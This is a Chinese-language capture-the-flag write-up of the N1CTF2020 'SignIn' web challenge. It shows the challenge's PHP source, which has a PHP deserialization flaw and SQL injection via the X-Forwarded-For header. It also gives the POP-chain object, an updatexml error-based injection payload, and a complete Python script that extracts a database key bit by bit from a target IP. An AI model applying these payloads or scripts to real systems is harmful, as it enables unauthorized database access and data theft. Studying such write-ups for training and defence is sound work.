N1CTF2020

Nu1L战队主办的比赛

N1CTF打不过根本打不过,就做了个签到


SignIn

考点:反序列化,布尔盲注,报错注入

这是源码:

<?php
highlight_file(__FILE__);
class ip {
    public $ip;
    public function waf($info){
    }
    public function __construct() {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
        }else{
            $this->ip =$_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}
 
class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
        if(md5($this->check)===md5("key****************")){
            readfile('/flag');
        }
        return $this->ip;
    }
    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }
 
}
if(isset($_GET['input'])){
    $input = $_GET['input'];
    unserialize($input);
}

思路是利用stristr函数触发__toString,然后在XFF头来进行一个sql注入

$pop = new flag();
$pop->ip = new ip();
echo serialize($pop);

页面回显就只会有noip和welcome to n1ctf2020两种,因为__toString方法里面只有return,所以我们并不能直接看到mysql的回显(无论成功与否),只能利用两种回显来判断我们的sql语句是否逻辑正确。

简单fuzz了一下,过滤了like、sleep、BENCHMARK,不能延时注入。

因为他return mysqli_error($con);返回了MySQL的报错信息,我们便可以报错注入;

' or updatexml(1,concat(0x7e,(select if((1=1),'n1ctf',0)),0x7e),1) or '

1=1和1=0分别返回了不同的信息。

exp:

import requests
 
url = 'http://101.32.205.189/index.php?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";i:1;}s:5:"check";s:4:"test";}'
result = ''
req = requests.session()
for x in range(1, 50):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        #babyselect = "database()"#n1ctf_websign
        #babyselect = "(select group_concat(table_name) from information_schema.tables where table_schema=database())"#n1ip,n1key
        #babyselect = "(select group_concat(column_name) from information_schema.columns where table_name='n1key')"#id,key
        babyselect = "(select `key` from n1key)"#n1ctf20205bf75ab0a30dfc0c
        select = "ascii(substr({},{},1))>{}".format(babyselect, x, mid)
        payload = "' or updatexml(1,concat(0x7e,(select if(({}),'n1ctf',0)),0x7e),1) or '".format(select)
        data = {"X-Forwarded-For": payload}
        resp = requests.get(url, headers=data)  #GET:params=data POST:data=data
        print(payload)
        if resp.text.count('welcome to n1ctf2020') == 2:  #
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    # print(mid)
    result += chr(int(mid))
    print(result)
print("end.......")
print(result)

key是关键字,只能select key

得到key:n1ctf20205bf75ab0a30dfc0c

$pop = new flag();
$pop->ip = new ip();
$pop->check = "n1ctf20205bf75ab0a30dfc0c";
echo serialize($pop);

传参得到:

n1ctf{you_g0t_1t_hack_for_fun}

updatedupdated2022-03-292022-03-29